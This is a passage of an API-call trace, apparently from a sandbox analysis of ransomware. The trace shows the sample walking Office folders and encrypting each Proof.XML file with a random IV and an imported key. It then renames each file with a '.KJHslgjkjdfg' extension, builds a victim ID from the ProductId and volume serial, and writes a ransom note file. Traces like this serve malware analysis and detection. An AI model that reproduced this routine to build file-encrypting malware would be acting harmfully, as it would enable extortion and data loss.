ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0164.791] GetProcessHeap () returned 0x990000 [0164.791] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc2) returned 0x9b2468 [0164.791] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.793] GetProcessHeap () returned 0x990000 [0164.793] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.793] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0164.793] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0164.793] GetProcessHeap () returned 0x990000 [0164.793] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c4) returned 0x9b7e10 [0164.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.794] GetProcessHeap () returned 0x990000 [0164.794] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.794] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.794] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.794] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xd, lpOverlapped=0x0) returned 1 [0164.797] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.797] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.797] GetProcessHeap () returned 0x990000 [0164.797] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.797] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.797] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.797] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.798] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.798] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.798] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.798] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.798] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.798] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.798] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x543, lpOverlapped=0x0) returned 1 [0164.798] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x550, dwBufLen=0x550 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x550) returned 1 [0164.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.798] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x550, lpOverlapped=0x0) returned 1 [0164.799] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.799] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.799] SetEndOfFile (hFile=0x114) returned 1 [0164.802] GetProcessHeap () returned 0x990000 [0164.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.802] GetProcessHeap () returned 0x990000 [0164.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.kjhslgjkjdfg")) returned 1 [0164.808] CloseHandle (hObject=0x114) returned 1 [0164.808] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0164.808] GetProcessHeap () returned 0x990000 [0164.808] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.808] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.808] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.808] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.808] GetProcessHeap () returned 0x990000 [0164.808] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.809] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.809] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.809] GetProcessHeap () returned 0x990000 [0164.809] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.809] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.809] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.809] GetProcessHeap () returned 0x990000 [0164.809] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.809] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.809] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.809] GetProcessHeap () returned 0x990000 [0164.809] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.809] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.809] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.809] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.810] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.810] RegCloseKey (hKey=0x114) returned 0x0 [0164.810] GetProcessHeap () returned 0x990000 [0164.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.810] GetProcessHeap () returned 0x990000 [0164.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.810] GetProcessHeap () returned 0x990000 [0164.810] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.810] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.810] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.810] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.810] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.810] GetProcessHeap () returned 0x990000 [0164.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.810] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.811] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.811] GetProcessHeap () returned 0x990000 [0164.811] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.811] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\readme-warning.txt") returned 107 [0164.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.811] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.812] CloseHandle (hObject=0x114) returned 1 [0164.813] GetProcessHeap () returned 0x990000 [0164.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.813] GetProcessHeap () returned 0x990000 [0164.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.813] GetProcessHeap () returned 0x990000 [0164.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.813] GetProcessHeap () returned 0x990000 [0164.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.813] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.813] GetProcessHeap () returned 0x990000 [0164.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.813] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0164.813] GetProcessHeap () returned 0x990000 [0164.813] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc2) returned 0x9b2468 [0164.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.815] GetProcessHeap () returned 0x990000 [0164.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.815] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0164.815] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0164.815] GetProcessHeap () returned 0x990000 [0164.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c4) returned 0x9b7e10 [0164.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.817] GetProcessHeap () returned 0x990000 [0164.817] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.817] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.817] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.817] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xf, lpOverlapped=0x0) returned 1 [0164.820] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.820] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.821] GetProcessHeap () returned 0x990000 [0164.821] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.821] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.821] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.821] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.821] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.821] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.821] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.821] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.821] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.821] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.822] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x5b1, lpOverlapped=0x0) returned 1 [0164.822] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5c0) returned 1 [0164.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.822] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x5c0, lpOverlapped=0x0) returned 1 [0164.822] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.822] SetEndOfFile (hFile=0x114) returned 1 [0164.825] GetProcessHeap () returned 0x990000 [0164.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.825] GetProcessHeap () returned 0x990000 [0164.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.kjhslgjkjdfg")) returned 1 [0164.828] CloseHandle (hObject=0x114) returned 1 [0164.828] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0164.828] GetProcessHeap () returned 0x990000 [0164.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.828] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.828] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.828] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.828] GetProcessHeap () returned 0x990000 [0164.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.828] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.828] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.828] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.828] GetProcessHeap () returned 0x990000 [0164.829] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.829] CryptImportKey (in: hProv=0x9acd90, 